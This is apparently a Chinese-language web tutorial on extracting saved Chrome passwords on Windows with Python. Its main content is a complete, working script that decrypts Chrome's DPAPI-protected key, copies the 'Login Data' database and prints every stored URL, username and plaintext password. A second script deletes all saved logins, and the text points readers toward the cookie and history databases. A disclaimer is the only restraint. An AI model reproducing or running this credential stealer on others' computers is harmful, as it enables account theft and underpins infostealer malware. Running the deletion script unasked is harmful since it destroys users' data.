如何在Python中提取Chrome密码

chrome浏览器是用户非常喜欢的一款浏览器,用户也经常将网站的一些登录账号及密码保存在chrome里,下次登录表单自动填充,不用再重新输入,但是你知道吗,在chrome上保存的账号密码可以通过python读取,下面我们来演示一下。

如何在<a href='/tag/python.html'>Python</a>中提取Chrome密码

由于Chrome将大量浏览数据保存在本地磁盘中,因此在本教程中,我们将编写Python代码以提取Windows计算机上Chrome中保存的密码,我们还将制作一个快速脚本来保护自己免受此类攻击。

一、读取chrome密码

首先,让我们安装所需的库:

pip3 install pycryptodome pypiwin32

打开一个新的Python文件,并导入必要的模块:
import os
import json
import base64
import sqlite3
import win32crypt
from Crypto.Cipher import AES
import shutil
from datetime import timezone, datetime, timedelta

在直接提取Chrome密码之前,我们需要定义一些有用的功能,这些功能将在主要功能之外为我们提供帮助:

def get_chrome_datetime(chromedate):
    """Return a `datetime.datetime` object from a chrome format datetime
    Since `chromedate` is formatted as the number of microseconds since January, 1601"""
    return datetime(1601, 1, 1) + timedelta(microseconds=chromedate)

def get_encryption_key():
    local_state_path = os.path.join(os.environ["USERPROFILE"],
                                    "AppData", "Local", "Google", "Chrome",
                                    "User Data", "Local State")
    with open(local_state_path, "r", encoding="utf-8") as f:
        local_state = f.read()
        local_state = json.loads(local_state)

    # decode the encryption key from Base64
    key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
    # remove DPAPI str
    key = key[5:]
    # return decrypted key that was originally encrypted
    # using a session key derived from current user's logon credentials
    # doc: http://timgolden.me.uk/pywin32-docs/win32crypt.html
    return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]

def decrypt_password(password, key):
    try:
        # get the initialization vector
        iv = password[3:15]
        password = password[15:]
        # generate cipher
        cipher = AES.new(key, AES.MODE_GCM, iv)
        # decrypt password
        return cipher.decrypt(password)[:-16].decode()
    except:
        try:
            return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
        except:
            # not supported
            return ""


get_chrome_datetime()函数负责将chrome日期格式转换为人类可读的datetime格式。
get_encryption_key()函数提取并解码用于加密密码的AES密钥,该密钥"%USERPROFILE%\AppData\Local\Google\Chrome\User Data\Local State"作为JSON文件存储在路径中。
crypto_password()将加密的密码和AES密钥作为参数,并返回该密码的解密版本。

下面是主要功能:
def main():
    # get the AES key
    key = get_encryption_key()
    # local sqlite Chrome database path
    db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
                            "Google", "Chrome", "User Data", "default", "Login Data")
    # copy the file to another location
    # as the database will be locked if chrome is currently running
    filename = "ChromeData.db"
    shutil.copyfile(db_path, filename)
    # connect to the database
    db = sqlite3.connect(filename)
    cursor = db.cursor()
    # `logins` table has the data we need
    cursor.execute("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created")
    # iterate over all rows
    for row in cursor.fetchall():
        origin_url = row[0]
        action_url = row[1]
        username = row[2]
        password = decrypt_password(row[3], key)
        date_created = row[4]
        date_last_used = row[5]        
        if username or password:
            print(f"Origin URL: {origin_url}")
            print(f"Action URL: {action_url}")
            print(f"Username: {username}")
            print(f"Password: {password}")
        else:
            continue
        if date_created != 86400000000 and date_created:
            print(f"Creation date: {str(get_chrome_datetime(date_created))}")
        if date_last_used != 86400000000 and date_last_used:
            print(f"Last Used: {str(get_chrome_datetime(date_last_used))}")
        print("="*50)
    cursor.close()
    db.close()
    try:
        # try to remove the copied db file
        os.remove(filename)
    except:
        pass


首先,我们使用先前定义的get_encryption_key()函数获取加密密钥,然后将sqlite数据库(位于该数据库"%USERPROFILE%\AppData\Local\Google\Chrome\User Data\default\Login Data"中具有已保存的密码)复制到当前目录并连接到当前目录,这是因为原始数据库文件将在Chrome当前正在运行。

之后,我们对登录表进行选择查询,并遍历所有登录行,我们还解密了每个密码,date_created并将date_last_used日期时间和格式重新设置为更易于理解的格式。

最后,我们打印凭据并从当前目录中删除数据库副本。

让我们调用main函数:

if __name__ == "__main__":
main()


输出应该是这种格式的(显然,我共享伪造的凭据):

Origin URL: https://accounts.google.com/SignUp
Action URL: ttps://accounts.google.com/SignUp
Username: email@gmail.com
Password: rU91aQktOuqVzeq
Creation date: 2020-05-25 07:50:41.416711
Last Used: 2020-05-25 07:50:41.416711
==================================================
Origin URL: https://cutt.ly/register
Action URL: https://cutt.ly/register
Username: email@example.com
Password: AfE9P2o5f5U
Creation date: 2020-07-13 08:31:25.142499
Last Used: 2020-07-13 09:46:24.375584
==================================================


太好了,现在您已经知道计算机中存在很多敏感信息,并且可以使用此类脚本轻松读取它们。

免责声明:请在您的计算机上或在您有权访问该脚本的计算机上运行此脚本,对于任何滥用我们不承担任何责任。

二、如何防止密码泄露

如您所见,将密码保存在Chrome上非常危险。现在,您可能想知道我们如何保护自己免受此类恶意脚本的攻击。在本节中,我们将编写一个脚本来访问该数据库并从logins表中删除所有行:

import sqlite3
import os

db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
                            "Google", "Chrome", "User Data", "default", "Login Data")
db = sqlite3.connect(db_path)
cursor = db.cursor()
# `logins` table has the data we need
cursor.execute("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created")
n_logins = len(cursor.fetchall())
print(f"Deleting a total of {n_logins} logins...")
cursor.execute("delete from logins")
cursor.connection.commit()
这将需要您关闭Chrome浏览器,然后运行它,这是我的输出:

Deleting a total of 204 logins...

这次打开Chrome后,您会发现登录表单上的自动完成功能不再存在。同样运行第一个脚本,您会发现它没有输出任何内容,因此我们已经成功地保护了自己!

三、结论

在本教程中,您学习了如何编写Python脚本来提取Windows上的Chrome密码,以及如何删除它们以防止恶意用户访问它们。

请注意,在本教程中,我们仅讨论了"Login Data"文件,其中包含登录凭据。我邀请您进一步探索该目录。

例如,存在一个"History"文件,其中包含所有访问的URL以及带有大量其他元数据的关键字搜索。还有"COOKIEs","Media History","Preferences","QuotaManager","Reporting and NEL","Shortcuts","Top Sites"和"Web Data"。

这些都是可访问的sqlite数据库,请确保先进行复制然后再打开数据库,以便您在要访问Chrome时不会关闭它们。


{{collectdata}}

网友评论0